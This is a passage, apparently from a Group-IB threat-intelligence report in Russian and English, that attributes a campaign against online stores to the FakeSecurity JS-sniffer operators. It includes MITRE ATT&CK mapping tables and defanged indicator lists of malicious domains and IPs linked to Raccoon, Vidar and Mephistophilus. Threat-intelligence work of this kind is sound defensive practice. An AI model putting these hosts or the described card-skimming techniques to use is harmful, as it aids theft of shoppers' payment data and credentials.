Формат ссылок на файлы JS-снифферов, а также используемое семейство вредоносного кода позволяют предположить, что за кампанией по заражению сайтов онлайн-магазинов стоят операторы семейства JS-снифферов FakeSecurity.

Кроме того, некоторые домены исследуемой кампании хостили страницу заглушки с надписью test page похожая страница заглушки хостится и на доменах FakeSecurity:

urlscan.io/result/0299b3e5-cbba-40be-adce-7ba437e4cb39/ microsoft-cloud10[.]co.za
urlscan.io/result/8f244d1b-2186-4db5-9c52-6122584dafa9/ documents-cloud-server[.]co.za

Варианты схожих заглушек test page на гейтах FakeSecurity и исследуемых доменах co.za

Обнаруженные параллели свидетельствуют о том, что за описанной выше многоступенчатой вредоносной кампанией вероятнее всего стоят операторы семейства JS-снифферов FakeSecurity. По нашим данным, хоть группа и использует для получения первоначального доступа инструменты не своей разработки, которые продаются или сдаются в аренду на даркнет-форумах, она продолжает использовать свой уникальный JS-сниффер.

Tactics	Techniques of adversaries	Mitigations & Active Defense Techniques	Group-IB mitigation & protection products
Resource Development	T1583. Acquire Infrastructure ID: T1588.005. Obtain Capabilities: Exploits ID: T1588.001. Obtain Capabilities: Malware	M1056. Pre-compromise M1016. Vulnerability Scanning	Security Assessment Threat Intelligence & Attribution
Initial Access	ID: T1566.001. Phishing: Spearphishing Attachment	M1049. Antivirus/Antimalware M1031. Network Intrusion Prevention M1017. User Training M1050. Exploit Protection M1051. Update Software DTE0035. User Training DTE0019. Email Manipulation DTE0027. Network Monitoring	Threat Hunting Framework Threat Intelligence & Attribution Cyber Education Red Teaming
Execution	T1059. Command and Scripting Interpreter T1204. User Execution T1203. Exploitation for Client Execution	M1049. Antivirus/Antimalware M1038. Execution Prevention M1021. Restrict Web-Based Content M1026. Privileged Account Management DTE0035. User Training DTE0021. Hunting DTE0018. Detonate Malware DTE0007. Behavioral Analytics DTE0003. API Monitoring DTE0034. System Activity Monitoring	Threat Hunting Framework Red Teaming Incident Response Fraud Hunting Platform
Persistence	T1053. Scheduled Task/Job
Defense Evasion	T1036. Masquerading T1027. Obfuscated Files or Information
Credential Access	T1555. Credentials from Password Stores T1552. Unsecured Credentials	M1049. Antivirus/Antimalware DTE0007. Behavioral Analytics DTE0003. API Monitoring DTE0034. System Activity Monitoring	Threat Hunting Framework
Collection	T1005. Data from Local System		Threat Hunting Framework
Command and Control	T1071. Application Layer Protocol T1573. Encrypted Channel	M1038. Execution Prevention M1031. Network Intrusion Prevention DTE0021. Hunting DTE0022. Isolation DTE0027. Network Monitoring DTE0003. API Monitoring DTE0034. System Activity Monitoring DTE0031. Protocol Decoder	Threat Hunting Framework
			Threat Hunting Framework

Tactics	Techniques of adversaries	Mitigations & Active Defense Techniques	Group-IB mitigation & protection products
Reconnaissance	T1595 Active Scanning T1583. Acquire Infrastructure	M1016. Vulnerability Scanning	Security Assessment
Initial Access	T1566 Phishing T1190 Exploit Public-Facing Application	M1049. Antivirus/Antimalware M1031. Network Intrusion Prevention M1021. Restrict Web-Based Content M1017. User Training M1050. Exploit Protection M1051. Update Software M1027. Password Policies DTE0035. User Training DTE0019. Email Manipulation DTE0027. Network Monitoring	Threat Hunting Framework Threat Intelligence & Attribution Cyber Education Red Teaming
Execution	T1059. Command and Scripting Interpreter T1204. User Execution T1059.007. JavaScript/JScript	M1049. Antivirus/Antimalware M1038. Execution Prevention M1021. Restrict Web-Based Content M1026. Privileged Account Management DTE0035. User Training DTE0021. Hunting DTE0018. Detonate Malware DTE0007. Behavioral Analytics DTE0003. API Monitoring DTE0034. System Activity Monitoring	Threat Hunting Framework Red Teaming Incident Response Fraud Hunting Platform
Defense Evasion	T1036. Masquerading T1027. Obfuscated Files or Information
Credential Access	T1056. Input Capture	M1049. Antivirus/Antimalware DTE0007. Behavioral Analytics DTE0003. API Monitoring DTE0034. System Activity Monitoring	Threat Hunting Framework
Collection	T1056. Input Capture		Threat Hunting Framework
Command and Control	T1219. Remote Access Software	M1038. Execution Prevention M1031. Network Intrusion Prevention DTE0021. Hunting DTE0022. Isolation DTE0027. Network Monitoring DTE0003. API Monitoring DTE0034. System Activity Monitoring DTE0031. Protocol Decoder	Threat Hunting Framework
Exfiltration	T1041. Exfiltration Over C2 Channel		Threat Hunting Framework

TG not mal	telete[.]in/blintick 8623aq9z046whQWysOHRvL9zM/GAADZbWXUG4TKc3D8n3r00X34-v70 73309q9z046whQWytOHdtItzM+WEADZfJFUetXe10DMG+8VUP7A==26-v30
Raccoon	cloud-server-updater[.]co.za cloud-server-updater1[.]co.za cloud-server-updater2[.]co.za cloud-server-updater3[.]co.za cloud-server-updater4[.]co.za cloud-server-updater5[.]co.za cloud-server-updater6[.]co.za cloud-server-updater7[.]co.za cloud-server-updater8[.]co.za cloud-server-updater9[.]co.za cloud-server-updater10[.]co.za cloud-server-updater11[.]co.za cloud-server-updater12[.]co.za cloud-server-updater13[.]co.za cloud-server-updater14[.]co.za cloud-server-updater15[.]co.za cloud-server-updater16[.]co.za cloud-server-updater17[.]co.za cloud-server-updater18[.]co.za cloud-server-updater19[.]co.za cloud-server-updater20[.]co.za cloud-server-updater21[.]co.za cloud-server-updater22[.]co.za cloud-server-updater23[.]co.za cloud-server-updater24[.]co.za cloud-server-updater25[.]co.za cloud-server-updater26[.]co.za cloud-server-updater27[.]co.za cloud-server-updater28[.]co.za 35.228.95[.]80 35.198.88[.]195 34.105.255[.]170 102.130.113[.]55 34.105.219[.]83 oneupdateadobe.co.za oneupdateadobe2.co.za oneupdateadobe3.co.za oneupdateadobe4.co.za updateforadobenew.co.za oneupdateadobe.org.za oneupdateadobe2.org.za oneupdateadobe3.org.za microsoft-cloud1[.]co.za microsoft-cloud6[.]co.za microsoft-cloud7[.]co.za microsoft-cloud8[.]co.za microsoft-cloud9[.]co.za microsoft-cloud10[.]co.za microsoft-cloud11[.]co.za microsoft-cloud12[.]co.za microsoft-cloud13[.]co.za microsoft-cloud14[.]co.za microsoft-cloud15[.]co.za cloudupdates[.]co.za
FakeSecurity	cloud-js[.]co.za host-js[.]co.za magento-cloud[.]co.za magento-js[.]co.za magento-security[.]co.za marketplace-magento[.]co.za marketplacemagento[.]co.za node-js[.]co.za node-js[.]co.za payment-js[.]co.za security-js[.]co.za web-js[.]co.za
Mephistophilus	documents-cloud-server1[.]co.za documents-cloud-server2[.]co.za documents-cloud-server3[.]co.za documents-cloud-server4[.]co.za documents-cloud-server6[.]co.za documents-cloud-server7[.]co.za documents-cloud-server8[.]co.za documents-cloud-server9[.]co.za documents-cloud-server[.]co.za oneupdateadobe.co.za oneupdateadobe2.co.za oneupdateadobe3.co.za oneupdateadobe4.co.za updateforadobenew.co.za oneupdateadobe.org.za oneupdateadobe2.org.za oneupdateadobe3.org.za oneupdateadobe3.com
Vidar	badlandsparks.com gineuter.info paunsaugunt.com precambrianera.com biscayneinn.com msupdater[.]co.za cloudupdate[.]co.za cloudupdates[.]co.za securitycloudserver[.]co.za fastandprettycleaner[.]hk download-plugin[.]co.za download-plugins[.]co.za downloadplugins[.]co.za
Другие индикаторы	code-cloud1[.]co.za code-cloud2[.]co.za code-cloud3[.]co.za code-cloud4[.]co.za code-cloud5[.]co.za code-cloud6[.]co.za google-document[.]co.za azure-cloud1[.]co.za azure-cloud2[.]co.za azure-cloud3[.]co.za azure-cloud4[.]co.za azure-cloud1.web.za azure-cloud2.web.za azure-cloud3].web.za Updateadobeonline[.]co.za

	Русский
	English